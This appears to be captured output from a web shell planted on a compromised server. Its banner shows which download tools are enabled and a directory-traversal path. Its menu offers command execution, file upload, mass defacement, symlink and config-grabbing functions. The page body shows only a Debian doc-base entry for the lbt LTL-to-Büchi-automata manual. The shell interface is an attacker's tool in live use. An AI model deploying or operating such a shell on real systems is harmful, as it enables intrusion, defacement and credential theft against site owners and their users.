|
OFF | cURL : OFF | WGET : ON | Perl : ON | Python : OFF Directory (0755) : /usr/share/doc/liblsan0/../libctf-nobfd0/../libisns0/../../doc-base/ |
| Home | ☍ Command | ☍ Upload File | ☍Info Server | ☍ Buat File | ☍ Mass deface | ☍ Jumping | ☍ Config | ☍ Symlink | ☍ About |
|---|
Document: lbt Title: LBT Manual Author: Marko Mäkelä <msmakela@tcs.hut.fi> Abstract: This manual describes how to use lbt, a tool to translate linear temporal logic formulas into generalized Büchi automata. Section: Science/Mathematics Format: HTML Index: /usr/share/doc/lbt/index.html Files: /usr/share/doc/lbt/*.html